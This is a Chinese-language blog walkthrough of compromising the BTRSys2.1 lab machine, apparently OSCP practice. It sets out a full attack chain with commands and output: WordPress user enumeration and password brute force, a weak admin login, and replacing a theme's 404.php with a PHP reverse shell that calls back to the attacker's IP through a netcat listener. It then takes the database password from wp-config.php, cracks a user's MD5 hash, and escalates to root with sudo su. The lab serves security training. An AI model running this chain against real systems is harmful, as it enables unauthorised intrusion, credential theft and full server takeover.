OSCP系列靶场-Intermediate-BTRSys2.1保姆级

OSCP系列靶场-Intermediate-BTRSys2.1

总结

getwebshell : 目录扫描 → 发现cms-wordpresswpscan专用扫描 → 扫描出账号 → 用字典爆破密码 → 登录wp后台 → 模板处修改 → 反弹shell

提 权 思 路 : history发现可疑操作 → wp配置文件发现mysql密码 → mysql发现用户md5密码 → 解密登录用户 → sudo su提权

准备工作

  • 启动VPN
    获取攻击机IP → 192.168.45.233

  • 启动靶机
    获取目标机器IP → 192.168.234.50

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.234.50

PORT   STATE SERVICE                         CAST>  mtu 1500
21/tcp open  ftp                             
22/tcp open  ssh                             
80/tcp open  http      


开放的端口->21,22,80

目标端口对应服务探测

# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,80 192.168.234.50

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

信息收集-端口测试

21-FTP端口的信息收集

21-FTP版本版本信息与MSF利用

通过nmap探测获得FTP的版本信息,可以大致推测FTP的配置文件位置
namp探测版本为vsftpd 3.0.3

# vsftpd 3.0.3配置文件一般在如下位置
/etc/vsftpd.conf

尝试利用msf搜索是否存在可利用漏洞

# 搜索对应脚本
msf6 > searchsploit vsftpd 3.0.3

远程拒绝服务 hhh 算了吧

21-FTP端口匿名登录测试(成功)

尝试匿名账号anonymous以及无密码进行登录测试

# 利用ftp协议+ip进行连接测试
ftp 192.168.234.50
Name: anonymous
21-FTP端口-文件GET收集(无文件)

登录FTP之后利用ls查看存在哪些目录,翻阅的同时查看一下文件权限
利用GET下载文件

# binary 以二进制模式传输文件,保证文件完整
ftp > binary
# 查看目录结构
ftp > ls -al
21-FTP端口-PT上传测试(无法上传)

测试是否可以利用PUT上传文件

# 建立一个text.txt的文件测试是否能上传
touch text.txt
# put 上传文件
ftp > put text.txt

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.2p2 Ubuntu

# 搜索对应脚本
msf6 > searchsploit OpenSSH 7.2p2

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

sudo ssh root<span class="label label-primary">@192.168.234.50</span> -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

sudo ssh root<span class="label label-primary">@192.168.234.50</span> -p 22
# 密码尝试
password &gt; root

弱密码尝试失败

22-SSH弱口令爆破(待定)

因为支持密码登录,后期没有思路的话尝试root账户的密码爆破,利用工具hydra

80-HTTP端口的信息收集

访问 http://192.168.234.50:80 不是CMS我们直接从HTML隐藏信息收集开始
主页就看到了一张图片

信息收集-HTML隐藏信息查看
# 利用html2text转换纯文本方便查看
curl http://192.168.234.50:80 | html2text
信息收集-目录扫描
信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.234.50:80 -x 302,403,404
gobuster dir -u http://192.168.234.50:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000 &gt; gobuster.txt

静待结果

漏洞探测-nikto扫描

静待结果的同时尝试漏洞扫描

nikto -h http://192.168.234.50:80

提示差不多,也是wordpress

信息收集-目录访问

正常来说,我们不能放弃每个端点的访问
但是我们也要挑选优先级,发现了wordpressCMS

首先查看robots.txt也是提示wordpress

信息收集-漏洞扫描wpscan

针对wordpress最好的方法是用扫描器先

# 针对wordpress的专用扫描器
# -e枚举 ap枚举插件 u枚举用户名 t枚举主题
wpscan --url http://192.168.234.50:80/wordpress/ --enumerate ap,u,t

经过扫描发现了两个用户btriskadmin

发现用户就要尝试暴力破解啦
暴力破解的时候使用字典最好用cewl生成(主页只有图片)

# 账号做成字典
echo 'btrisk
admin' &gt; user.txt
# 暴力破解
wpscan --url http://192.168.234.50:80/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt


爆破了半天爆破出来了admin的密码admin 另一个难搞

漏洞利用-getwebshell

弱口令进入wp后台

扫描的同时戳到了wp的登录界面,尝试一下弱口令

http://192.168.234.50/wordpress/wp-login.php

好家伙,直接进来了(不然就尝试爆破密码进来咯)

主题插件修改

wordpress大部分的漏洞其实与插件有关,先找找插件
现在有的插件Edit Plugins好像也没什么


不敢直接编辑现有插件,怕会把wp弄崩
尝试上传一个php反弹shell发现不太行


换了一个地方


通过搜索决定编辑一个不太重要的php主题,改为php反弹shell

/wordpress/wp-content/themes/twentyfourteen/[内容]

尝试修改404.php


修改成功

修改插件getwebshell

# 利用cp命令cp一个到当前文件夹并且命名为shell.php
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lvnp 6666

反弹shell配置

# 利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php                
&gt; 49:$ip = '127.0.0.1';  // CHANGE THIS
# 同理监听端口是第50行
grep -n "1234" shell.php
50:$port = 1234;       // CHANGE THIS
# 利用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.233/' shell.php
sed -i '50s/1234/6666/' shell.php
# 利用sed查看49与50行是否修改成功
sed -n '49,50p' shell.php


复制shell.php的内容到模板中


访问成功获取进入内网的凭证

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

# 利用python获取交互shell 
python -c "import pty;pty.spawn('/bin/bash')";
# python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

www-data<span class="label label-primary">@ubuntu</span>:/$ find / -name local.txt 2&gt;/dev/null
/home/btrisk/local.txt
www-data<span class="label label-primary">@ubuntu</span>:/$ cat /home/btrisk/local.txt
4b8be4c2f5286b2476df38d4e6467c8c

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

# 确定发行版本
www-data<span class="label label-primary">@ubuntu</span>:/$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.2 LTS
Release:        16.04
Codename:       xenial

发行版本为Ubuntu 16.04.2,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

www-data<span class="label label-primary">@ubuntu</span>:/$ uname -a
Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

内核版本为4.4.0-62

检测当前用户的权限
www-data<span class="label label-primary">@ubuntu</span>:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

# 利用sudo -l寻找
www-data<span class="label label-primary">@ubuntu</span>:/$ sudo -l
[sudo] password for www-data: admin
Sorry, try again.
[sudo] password for www-data: root
Sorry, user www-data may not run sudo on ubuntu.

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

# -perm 文件权限
www-data<span class="label label-primary">@ubuntu</span>:/$ find / -perm -u=s -type f 2&gt;/dev/null
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/ntfs-3g
/bin/ping6
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/gpasswd

/etc/passwd权限收集

如果/etc/passwd具有写入权限可以尝试覆盖密码提权

# 要注意是否是属主情况
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1573 Mar 21  2017 /etc/passwd
/etc/shadow权限收集
  • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
  • 如果/etc/shadow具有可读权限可以爆破密码
www-data<span class="label label-primary">@ubuntu</span>:/$ ls -al /etc/shadow
-rw-r----- 1 root shadow 1136 Mar  6  2020 /etc/shadow
getcap标志进程收集

高版本下suid列举不全,查看getcap

# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2&gt;/dev/null
列举定时任务

查找所有的定时任务,并且查看定时任务是否具有修改权限

# 寻找定时任务并修改进行提权
cat /etc/crontab

寻找root权限进程
# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux | grep root

查看历史信息

可能用户留下的历史信息具有有用的信息

history

权限提升

根据history发现了一些有趣的信息

数据库配置信息发现

www-data<span class="label label-primary">@ubuntu</span>:/var/www$ cd /var/www/html/wordpress
www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ cat wp-config.php

存在数据库的账号以及密码

数据库敏感信息发现

利用这些登录数据库

mysql -u root -p 
rootpassword!


登录之后查看一些重要的信息

show databases;
use wordpress;
show tables;

重点查找用户信息

select * from wp_users;

发现了btrisk的密码a318e4507e5a74604aafb45e4741edd3md5加密

解密md5密码

尝试解密

echo 'a318e4507e5a74604aafb45e4741edd3' &gt; pass.hash
john pass.hash

大概率是md5

同时打开在线网站进行解密尝试
https://www.somd5.com/


发现密码为roottoor

登录btrisk用户

www-data<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ su btrisk
Password: roottoor

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ 

sudo-su提权

测试发现可以用任意sudo

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo -l
[sudo] password for btrisk: roottoor

Matching Defaults entries for btrisk on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User btrisk may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (ALL : ALL) ALL

利用su提权

btrisk<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress$ sudo su
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# id    
uid=0(root) gid=0(root) groups=0(root)
root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# 

提权成功

FLAG2获取

root<span class="label label-primary">@ubuntu</span>:/var/www/html/wordpress# cat /root/proof.txt
cat /root/proof.txt
f994ec8ac722337b7c3b7d873013917a

后记

看到登录界面要养成随手一输弱口令的习惯

解密速度感人,kalicpu干满了,以后应该用hashcat解密

OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全网络渗透感兴趣的读者来说是一个很有价值的参考资源。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值